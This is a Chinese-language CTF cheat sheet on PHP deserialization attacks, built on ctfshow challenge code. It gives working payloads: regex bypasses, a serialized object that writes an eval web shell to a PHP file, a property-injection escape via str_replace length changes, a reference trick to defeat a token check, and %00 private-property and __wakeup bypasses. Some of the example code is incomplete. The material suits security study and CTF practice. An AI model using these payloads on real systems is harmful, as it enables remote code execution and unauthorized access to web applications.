PHP反序列化常用方法

常用绕过正则方式:

preg_match('/[oc]:\d+:/i', $_COOKIE['user'])

将o:数字或c:数字改为O:+数字或C:+数字

preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))

使用提交:ctfshow_i_love_36D即可

在反序列化中,可以修改值,但不能改变逻辑方法,因为在序列化后不会替换其函数的逻辑方法。

highlight_file(__FILE__);

class ctfshowvip
{
    public $username;
    public $password;
    public $code;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }

    public function __wakeup()
    {
        if ($this->username != '' || $this->password != '') {
            die('error');
        }
    }

    public function __invoke()
    {
        eval($this->code);
    }

    public function __sleep()
    {
        $this->username = '';
        $this->password = '';
    }

    public function __unserialize($data)
    {
        $this->username = $data['username'];
        $this->password = $data['password'];
        $this->code = $this->username . $this->password;
    }

    public function __destruct()
    {
        if ($this->code == 0x36d) {
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);


EXP:
    class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username='877.php';
        $this->password='<?php eval($_POST[a]);?>';
    }
}

$exp = serialize(new ctfshowvip());

echo $exp;

逃逸的绕过

针对逃逸类的反序列化,可使用替换绕过的方式比如

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

由str_replace('fuck', 'loveU', serialize($msg));可知替换后多了一个字符,原来的序列化为:

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

触发替换后的序列化为:

O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

可使用逃逸的方法直接替换掉后面的属性:

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function firnl($str){
    return str_replace('fuck', 'loveU', $str);
}

$exp = serialize(new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'));

$exp_ = firnl($exp)
  

针对简单的MD5两个判断绝对等于:

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这种可以使用在初始化的时候,让内存地址相等的方法,使其绝对等于;

修改: $this->password = $p; 让其等于token的内存地址:$this->password = &$this->token;

针对正则判断后停止或报出错误,而利用点在销毁方法上的。可以把序列化的结果破坏进行提交绕过:

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

序列化的结果:O:7:"ctfshow":2:{s:8:"username";N;s:8:"password";N;}

可以使用O:7:"ctfshow":2:{}尝试进行绕过

绕过wakeup的办法:

用序列化加%00

private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}